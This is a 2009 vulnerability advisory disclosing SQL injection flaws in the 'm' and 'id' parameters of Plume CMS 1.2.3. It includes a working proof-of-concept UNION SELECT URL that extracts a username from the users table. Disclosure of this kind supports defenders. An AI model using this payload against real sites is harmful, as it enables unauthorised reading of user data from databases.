Sense of Security	Authorisation. Jason Edelstein
	Release date. 12 August 2009.

Sense of Security – Security Advisory – SOS-09-006.

Plume CMS Multiple SQL Injection Vulnerabilities.

12 August 2009.

Plume CMS Multiple SQL Injection Vulnerabilities - Security Advisory - SOS-09-006

Release Date.	12-Aug-2009
Last Update.	-
Vendor Notification Date.	16-Jun-2009
Product.	Plume CMS
Platform.	Independent
Affected versions.	1.2.3 (verified), possibly others
Severity Rating.	High
Impact.	Manipulation of data
Attack Vector.	Remote with authentication
Solution Status.	Unpatched
CVE reference.	Not yet allocated

Details.

Plume CMS is a content management system written in PHP. The application suffers from SQL injection vulnerabilities in index.php and tools.php, as it fails to validate data supplied in the “m” variable of index.php before being used in a SQL query. Additionally, the variable “id” of tools.php is also vulnerable to the same type of attack.

SQL injection attacks can give an attacker access to backend database contents, the ability to remotely execute system commands, or in some circumstances the means to take control of the operating system hosting the database.

Proof of Concept.

The below POC will return the first username from the users table:
/plume/manager/index.php?m=1 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,user_username,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL

,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,N
ULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM
plume_users LIMIT 1,1--

Solution.

None.

Discovered by.

SOS Labs.

About us.

Sense of Security is a leading provider of information security and risk management solutions. Our team has expert skills in assessment and assurance, strategy and architecture, and deployment through to ongoing management. We are Australia's premier penetration testing company and trusted IT security advisor to many of the countries largest organisations.

Sense of Security Pty Ltd

Level 3, 66 King St
Sydney NSW 2000
AUSTRALIA

T: +61 (0)2 9290 4444
F: +61 (0)2 9290 4455
W: http://www.senseofsecurity.com.au
E: info@senseofsecurity.com.au

The latest version of this advisory can be found at:

http://www.senseofsecurity.com.au/advisories/SOS-09-006.pdf

Other Sense of Security advisories can be found at:

http://www.senseofsecurity.com.au/research/it-security-advisories.php